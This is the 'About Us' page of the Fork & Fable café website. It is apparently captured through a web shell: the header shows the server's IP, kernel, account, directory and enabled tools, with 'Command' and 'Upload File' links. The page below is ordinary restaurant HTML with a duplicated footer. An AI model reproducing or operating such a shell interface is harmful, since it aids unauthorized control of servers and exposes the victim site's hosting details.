|
Server IP : 162.241.148.128 / Your IP : 216.73.216.231 Web Server : Apache System : Linux md-ht-9.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : caribhll ( 2226) PHP Version : 8.3.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home3/caribhll/forkandfablecafe.com/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE HTML>
<html lang="en">
<head>
<!--=============== basic ===============-->
<meta charset="UTF-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<title>Forked and fable </title>
<!--=============== css ===============-->
<link type="text/css" rel="stylesheet" href="css/plugins.css">
<link type="text/css" rel="stylesheet" href="css/style.css">
<!--=============== favicons ===============-->
<link rel="shortcut icon" href="images/favicon.ico">
</head>
<body>
<!--loader-->
<div class="main-loader">
<div class="loader-wrap">
<span class="loader_count">1</span>
<div class="loader-wrap-title">Forked Loading</div>
</div>
<div class="cd-loader-line cll_th"></div>
<div class="cd-loader-line cll_tv"></div>
<div class="cd-loader-line cll_bh"></div>
<div class="cd-loader-line cll_bv"></div>
</div>
<!--loader end-->
<!-- main -->
<div id="main">
<!-- logo -->
<div class="logo-holder"><a href="index.html" class="logo-wrap ajax"><img src="images/logo.png" alt=""></a></div>
<!-- logo end -->
<!-- main-header -->
<header class="main-header">
<div class="main-header_container">
<div class="main-header-wrap">
<div class="nav-wrap">
<div class="fl-wrap">
<div class="nav_dec"><span></span></div>
</div>
<div class="nav-container fl-wrap">
<!-- nav -->
<nav class="nav-inner" id="menu_init">
<ul>
<li><a href="about.html" class="ajax">About Us</a></li>
<li>
<a href="#"> Menu </a>
</li>
<li><a href="contacts.html" class="ajax">Contacts</a></li>
<!-- <li><a href="blog.html" class="ajax">Blog</a></li> -->
<li>
<a href="#">Pages</a>
<!--second level -->
<ul>
<li><a href="gallery.html" class="ajax">Gallery</a></li>
<!-- <li><a href="cart.html" class="ajax">Cart</a></li> -->
<!-- <li><a href="checkout.html" class="ajax">Checkout</a></li> -->
<!-- <li><a href="blog-single.html" class="ajax">Blog Single</a></li> -->
<!-- <li><a href="404.html" class="ajax">404</a></li> -->
<!-- <li><a href="coming-soon.html" target="_blank">Coming Soon</a></li> -->
</ul>
<!--second level end-->
</li>
</ul>
</nav>
<!-- nav end-->
</div>
<div class="fl-wrap">
<div class="nav_dec nd_bottom"><span></span></div>
</div>
</div>
</div>
</div>
</header>
<!-- main-header end -->
<!-- top-header -->
<div class="top-header">
<div class="top-header-container">
<!--<div class="top-header-search-wrap">-->
<!-- <div class="top-header-search">-->
<!-- <form action="#">-->
<!-- <input name="se" id="se" type="text" class="search" placeholder="Search...">-->
<!-- <button class="top-header-search_btn" id="search-submit"><i class="fal fa-search transition"></i> </button>-->
<!-- </form>-->
<!-- </div>-->
<!--</div>-->
<!-- nav-button-wrap-->
<div class="nav-button-wrap">
<div class="nav-button h_mn_menu">
<span></span><span></span><span></span>
</div>
</div>
<!-- nav-button-wrap end-->
</div>
<!-- header-cart_wrap -->
<!--<div class="header-cart_wrap novis_cart">-->
<!-- <div class="close-cart radius_btn close_cart-init"><i class="fa-solid fa-xmark"></i></div>-->
<!-- <div class="header-cart_title">Your Cart <span>3 items</span></div>-->
<!-- <div class="header-cart_wrap_container fl-wrap">-->
<!-- <div class="box-widget-content">-->
<!-- <div class="widget-posts fl-wrap">-->
<!-- <ol>-->
<!-- <li class="clearfix">-->
<!-- <a href="product-single.html" class="widget-posts-img"><img src="images/menu/1.jpg" class="respimg" alt=""></a>-->
<!-- <div class="widget-posts-descr">-->
<!-- <a href="#" title="">Grilled Steaks</a>-->
<!-- <div class="widget-posts-descr_calc clearfix">1 <span>x</span> $45</div>-->
<!-- </div>-->
<!-- <div class="clear-cart_button"><i class="fa-solid fa-xmark"></i></div>-->
<!-- </li>-->
<!-- <li class="clearfix">-->
<!-- <a href="product-single.html" class="widget-posts-img"><img src="images/menu/1.jpg" class="respimg" alt=""></a>-->
<!-- <div class="widget-posts-descr">-->
<!-- <a href="#" title="">Cripsy Lobster & Shrimp Bites</a>-->
<!-- <div class="widget-posts-descr_calc clearfix">2 <span>x</span> $22</div>-->
<!-- </div>-->
<!-- <div class="clear-cart_button"><i class="fa-solid fa-xmark"></i></div>-->
<!-- </li>-->
<!-- <li class="clearfix">-->
<!-- <a href="product-single.html" class="widget-posts-img"><img src="images/menu/1.jpg" class="respimg" alt=""></a>-->
<!-- <div class="widget-posts-descr">-->
<!-- <a href="#" title="">Chicken Tortilla Soup</a>-->
<!-- <div class="widget-posts-descr_calc clearfix">1 <span>x</span> $37</div>-->
<!-- </div>-->
<!-- <div class="clear-cart_button"><i class="fa-solid fa-xmark"></i></div>-->
<!-- </li>-->
<!-- </ol>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!-- <div class="header-cart_wrap_total fl-wrap">-->
<!-- <div class="header-cart_wrap_total_item">Subtotal : <span>$147</span></div>-->
<!-- </div>-->
<!-- <div class="header-cart_wrap_footer fl-wrap">-->
<!-- <a href="cart.html" class="ajax"> View Cart</a>-->
<!-- <a href="checkout.html" class="ajax"> Checkout</a>-->
<!-- </div>-->
<!--</div>-->
<!-- header-cart_wrap end -->
<!-- share-wrapper -->
<div class="share-wrapper isShare">
<!--<div class="share-container fl-wrap"></div>-->
</div>
<!-- share-wrapper-end -->
</div>
<!-- top-header-->
<!-- wrapper-->
<div class="wrapper">
<!-- content-holder-->
<div id="content-holder">
<!--content-->
<div class="content dyn_page_title" data-pagetitle="About Us">
<!-- section -->
<div class="section parallax-section hero-section hidden-section" data-scrollax-parent="true">
<div class="bg par-elem " data-bg="images/bg/about_banner.png" data-scrollax="properties: { translateY: '30%' }"></div>
<div class="overlay"></div>
<div class="container">
<div class="hero-section-scroll">
<div class="mousey">
<div class="scroller"></div>
</div>
</div>
</div>
<div class="brush-dec"></div>
<div class="dec-corner dc_lb"></div>
<div class="dec-corner dc_rb"></div>
<div class="dec-corner dc_rt"></div>
<div class="dec-corner dc_lt"></div>
<div class="sec-dots-dec sdd_left"></div>
<div class="sec-dots-dec sdd_right"></div>
<div class="hero-sec-topdec"></div>
</div>
<!-- section end-->
<!-- section -->
<div class="section">
<!--breadcrumbs-list-->
<div class="container">
<div class="breadcrumbs-list bl_flat">
<a href="#">Home</a><a href="#">Pages</a><span>About Us</span>
<div class="breadcrumbs-list_dec"><i class="fa-solid fa-link-horizontal"></i></div>
</div>
</div>
<!--breadcrumbs-list end-->
<div class="container">
<!--boxed-container-->
<div class="boxed-container">
<div class="boxed-content-item bi_dec">
<div class="row">
<div class="col-lg-12">
<div class="section-title text-align_left statb">
<h4>Enjoy your time in our Place</h4>
<h2>About Our Restaurant</h2>
</div>
<div class="text-block tb-sin">
<p class="has-drop-cap">
At Fork & Fable, we are more than a café and restaurant—we are a fire fueled by passion, flavor, and the relentless pursuit of perfection. Our story is rooted in the belief that food is far more than sustenance; it is emotion, memory, connection, and art. Every plate we serve, every cup we pour, carries the spirit of our kitchen and the purpose we stand for. We exist to craft experiences that linger long after the last bite.
</p>
<p>Fork & Fable was built on a simple idea: great food tells a story. Stories of where it came from, how it was crafted, and the hands and hearts behind it. We embrace this philosophy in every corner of our space—from the ingredients we choose to the atmosphere we create. Here, food is not rushed. It is respected, nurtured, and given the time it needs to reveal its character. Our chefs work with intention, drawing inspiration from timeless flavors while adding their own bold interpretations. Every creation is layered with thought, precision, and a deep love for the craft. </p>
<p>For us, dining is a sensory journey. It begins the moment you step through our doors and the aroma envelopes you—a promise of what awaits. The warmth of the space, the rhythm of the kitchen, the hum of conversation… everything comes together to form the heartbeat of Fork & Fable. We want each guest to feel that they’ve entered a place where time slows down, where moments become meaningful, and where the ordinary transforms into something extraordinary. </p>
<a href="about.html" class="btn ajax fl-btn ">Read more About Us</a>
<div class="parallax-element" style="right: -70px; top: -120px" data-scrollax="properties: { translateY: '-50px' }"><img src="images/bg/bg-dec/5.png" class="respimg" alt=""></div>
</div>
</div>
</div>
</div>
</div>
<!--boxed-container end-->
</div>
<div class="section-dec"></div>
</div>
<!-- section end-->
<!-- section -->
<div class="section">
<div class="container">
<!--boxed-container-->
<div class="section-title">
<h4>Enjoy your time in our Restaurant with pleasure.</h4>
<h2>Testimonials & Clients</h2>
<div class="section-separator"><span><i class="fa-light fa-wheat"></i></span></div>
</div>
</div>
<div class="testimonilas-carousel-wrap">
<div class="tc-button tc-button-next"><i class="fas fa-caret-right"></i></div>
<div class="tc-button tc-button-prev"><i class="fas fa-caret-left"></i></div>
<div class="testimonilas-carousel">
<div class="swiper-container">
<div class="swiper-wrapper">
<!--testi-item-->
<div class="swiper-slide">
<div class="testi-item">
<div class="testi-avatar"><img src="images/avatar/1.jpg" alt=""></div>
<div class="testimonilas-text">
<div class="testimonilas-text-item">
<h3>Preeti Purnam</h3>
<div class="star-rating" data-starrating="5"> </div>
<p>"Wonderful experience, friendly staff. Food presented beautifully and tastes amazing. Loved the chicken waffle royale! "</p>
</div>
<span class="testi-number">01.</span>
<div class="testi-item-dec fs-wrapper"></div>
</div>
</div>
</div>
<!--testi-item end-->
<!--testi-item-->
<div class="swiper-slide">
<div class="testi-item">
<div class="testi-avatar"><img src="images/avatar/1.jpg" alt=""></div>
<div class="testimonilas-text">
<div class="testimonilas-text-item">
<h3>Sandra Germasi</h3>
<div class="star-rating" data-starrating="4"> </div>
<p>"I only had time for a cup of coffee today. Friendly service and I enjoyed my coffee. Will definitely go back next time to have something to eat. "</p>
</div>
<span class="testi-number">02.</span>
<div class="testi-item-dec fs-wrapper"></div>
</div>
</div>
</div>
<!--testi-item end-->
<!--testi-item-->
<div class="swiper-slide">
<div class="testi-item">
<div class="testi-avatar"><img src="images/avatar/1.jpg" alt=""></div>
<div class="testimonilas-text">
<div class="testimonilas-text-item">
<h3>Kamran Khan</h3>
<div class="star-rating" data-starrating="5"> </div>
<p>"the manager was sa nice and helpful i order chips and coffee it was ready in just 5min so fresh and crispy chips highly recommend ❤️ "</p>
</div>
<span class="testi-number">03.</span>
<div class="testi-item-dec fs-wrapper"></div>
</div>
</div>
</div>
<!--testi-item end-->
<!--testi-item-->
<div class="swiper-slide">
<div class="testi-item">
<div class="testi-avatar"><img src="images/avatar/1.jpg" alt=""></div>
<div class="testimonilas-text">
<div class="testimonilas-text-item">
<h3>Bridget Leigh-Roth</h3>
<div class="star-rating" data-starrating="5"> </div>
<p>"The coffee was great and clearly made with a lot of love. It came out beautifully. The strawberry matcha was to die for however. And each girl who served us was really lovely to deal with "</p>
</div>
<span class="testi-number">04.</span>
<div class="testi-item-dec fs-wrapper"></div>
</div>
</div>
</div>
<!--testi-item end-->
</div>
</div>
</div>
<div class="tcs-pagination tcs-pagination_init"></div>
</div>
</div>
<!-- section end-->
<div class="brush-dec2 brush-dec_bottom"></div>
</div>
<!--content end-->
<!--footer -->
<div class="height-emulator"></div>
<footer class="main-footer">
<div class="footer-inner">
<div class="container">
<!-- footer-widget-wrap -->
<div class="footer-widget-wrap">
<div class="row">
<!-- footer-widget -->
<div class="col-lg-3">
<div class="footer-widget">
<div class="footer-widget-title">About us</div>
<div class="footer-widget-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Eaque ipsa quae ab illo inventore veritatis et quasi architecto. Consectetur adipiscing elit. </p>
<a href="about.html" class="footer-widget-content-link"><span>Read more</span></a>
</div>
</div>
</div>
<!-- footer-widget end-->
<!--footer -->
<div class="height-emulator"></div>
<footer class="main-footer">
<div class="footer-inner">
<div class="container">
<!-- footer-widget-wrap -->
<div class="footer-widget-wrap">
<div class="row">
<!-- footer-widget -->
<div class="col-lg-3">
<div class="footer-widget">
<div class="footer-widget-title">About us</div>
<div class="footer-widget-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Eaque ipsa quae ab illo inventore veritatis et quasi architecto. Consectetur adipiscing elit. </p>
<a href="about.html" class="footer-widget-content-link"><span>Read more</span></a>
</div>
</div>
</div>
<!-- footer-widget end-->
<!-- footer-widget -->
<div class="col-lg-3">
<div class="footer-widget">
<div class="footer-widget-title">Contact info </div>
<div class="footer-widget-content">
<div class="footer-contacts footer-box">
<ul>
<li><span>Call :</span><a href="#">+61 3 8760 0172</a> , <a href="#">+61 3 8760 0172</a></li>
<li><span>Find us : </span><a href="#">1/50 Ramlegh Bvd, Clyde North VIC 3978, Australia</a></li>
</ul>
</div>
<a href="contacts.html" class="footer-widget-content-link"><span>Get in Touch</span></a>
</div>
</div>
</div>
<!-- footer-widget end-->
<!-- footer-widget -->
<div class="col-lg-2">
<div class="footer-widget">
<div class="footer-widget-title">Helpful links</div>
<div class="footer-widget-content">
<div class="footer-list footer-box ">
<ul>
<li><a href="#">Menu</a></li>
<li><a href="#">Contacts</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Privacy Policy</a></li>
</ul>
</div>
</div>
</div>
</div>
<!-- footer-widget end-->
<!-- footer-widget -->
<div class="col-lg-4">
<div class="footer-widget">
<div class="footer-widget-title">Subscribe</div>
<div class="footer-widget-content">
<div class="subcribe-form">
<p>Want to be notified when we launch a new template or an udpate. Just sign up and we'll send you a notification by email.</p>
<form id="subscribe">
<input class="enteremail" name="email" id="subscribe-email" placeholder="Your Email" spellcheck="false" type="text">
<button type="submit" id="subscribe-button" class="subscribe-button color-bg">Send </button>
<label for="subscribe-email" class="subscribe-message"></label>
</form>
</div>
</div>
</div>
</div>
<!-- footer-widget end-->
</div>
</div>
<!-- footer-widget-wrap end-->
</div>
</div>
<div class="footer-bottom">
<div class="container">
<div class="copyright">© Fork and Fable 2025 . All rights reserved. </div>
<div class="footer-social">
<ul>
<li><a href="#" target="_blank"><i class="fa-brands fa-facebook-f"></i></a></li>
<li><a href="#" target="_blank"><i class="fa-brands fa-x-twitter"></i></a></li>
<li><a href="#" target="_blank"><i class="fa-brands fa-instagram"></i></a></li>
<li><a href="#" target="_blank"><i class="fa-brands fa-tiktok"></i></a></li>
</ul>
</div>
<div class="to-top"><span>Back To Top </span><i class="fal fa-angle-double-up"></i></div>
</div>
</div>
<div class="footer-dec">
</div>
</footer>
<!--footer end-->
<!-- footer-widget -->
<!-- footer-widget end-->
</div>
</div>
<!-- footer-widget-wrap end-->
</div>
</div>
<div class="footer-bottom">
<div class="container">
<div class="copyright">© Forked 2025 . All rights reserved. </div>
<div class="footer-social">
<ul>
<li><a href="#" target="_blank"><i class="fa-brands fa-facebook-f"></i></a></li>
<li><a href="#" target="_blank"><i class="fa-brands fa-x-twitter"></i></a></li>
<li><a href="#" target="_blank"><i class="fa-brands fa-instagram"></i></a></li>
<li><a href="#" target="_blank"><i class="fa-brands fa-tiktok"></i></a></li>
</ul>
</div>
<div class="to-top"><span>Back To Top </span><i class="fal fa-angle-double-up"></i></div>
</div>
</div>
<div class="footer-dec">
</div>
</footer>
<!--footer end-->
</div>
<!-- content-holder end-->
</div>
<!-- wrapper end-->
<!-- cd-loader-wrap-->
<div class="cd-loader-wrap">
<div class="cd-loader-layer fs-wrapper" data-frame="25">
<div class="loader-layer"></div>
</div>
<div class="loader-spinner"><i class="fa-thin fa-seedling"></i></div>
<div class="cd-loader-line cll_th"></div>
<div class="cd-loader-line cll_tv"></div>
<div class="cd-loader-line cll_bh"></div>
<div class="cd-loader-line cll_bv"></div>
<div class="cd-loader_title"><span></span></div>
</div>
<!-- cd-loader-wrap end-->
<!--reservation modal-->
<div class="reserv_modal-container">
<div class="reserv_modal-inner">
<div class="reserv_modal-inner-box fl-wrap">
<div class="close-reservation-modal close-rf radius_btn "><i class="fa-light fa-xmark"></i></div>
<div class="reserv_modal-wrapper">
<div class="reservation-content">
<div class="reserv-modal-title">
<h4>Don't forget to book a table</h4>
<h3>Table Reservations</h3>
<div class="section-title-separator_wrap fl-wrap">
<div class="section-title-separator"><span></span></div>
</div>
</div>
<div class="reserv-modal_bg"></div>
<div id="reserv-message"></div>
<form class="custom-form" action="php/reservation.php" name="reservationform" id="reservationform">
<fieldset>
<div class="row">
<div class="col-md-6">
<input type="text" name="name" id="name" placeholder="Your Name *" value="">
</div>
<div class="col-md-6">
<input type="text" name="email" id="email" placeholder="Email Address *" value="">
</div>
<div class="col-md-6">
<input type="text" name="phone" id="phone" placeholder="Phone *" value="">
</div>
<div class="col-md-6">
<div class="fl-wrap">
<select name="numperson" id="persons" data-placeholder="Persons" class="chosen-select no-search-select">
<option data-display="Persons">Any</option>
<option value="1">1 Person</option>
<option value="2">2 People</option>
<option value="3">3 People</option>
<option value="4">4 People</option>
<option value="5">5 People</option>
<option value="Banquet">Banquet</option>
</select>
</div>
</div>
<div class="col-md-6">
<div class="date-container">
<input type="text" placeholder="Date" id="res_date" name="resdate" value="">
</div>
</div>
<div class="col-md-6">
<select name="restime" id="resrv-time" data-placeholder="Time" class="chosen-select no-search-select">
<option data-display="Time">Any</option>
<option value="10:00am">10:00 am</option>
<option value="11:00am">11:00 am</option>
<option value="12:00pm">12:00 pm</option>
<option value="1:00pm">1:00 pm</option>
<option value="2:00pm">2:00 pm</option>
<option value="3:00pm">3:00 pm</option>
<option value="4:00pm">4:00 pm</option>
<option value="5:00pm">5:00 pm</option>
<option value="6:00pm">6:00 pm</option>
<option value="7:00pm">7:00 pm</option>
<option value="8:00pm">8:00 pm</option>
<option value="9:00pm">9:00 pm</option>
<option value="10:00pm">10:00 pm</option>
</select>
</div>
</div>
<textarea name="comments" id="comments" cols="30" rows="3" placeholder="Your Message:"></textarea>
<button class="reservation_btn radius_btn" id="reservation-submit">Book Table</button>
<a href="menu.html" class="reserv-link ajax">Explore Our Menu <i class="fa-solid fa-caret-right"></i></a>
</fieldset>
</form>
</div>
<!-- reservation-wrap end-->
</div>
</div>
</div>
<div class="reserv_modal_overlay fs-wrapper close-rf"></div>
</div>
<!--reservation modal end-->
<div class="mob-nav-overlay fs-wrapper"></div>
</div>
<!-- Main end -->
<!--=============== scripts ===============-->
<script src="js/jquery.min.js"></script>
<script src="js/plugins.js"></script>
<script src="js/scripts.js"></script>
</body>
</html>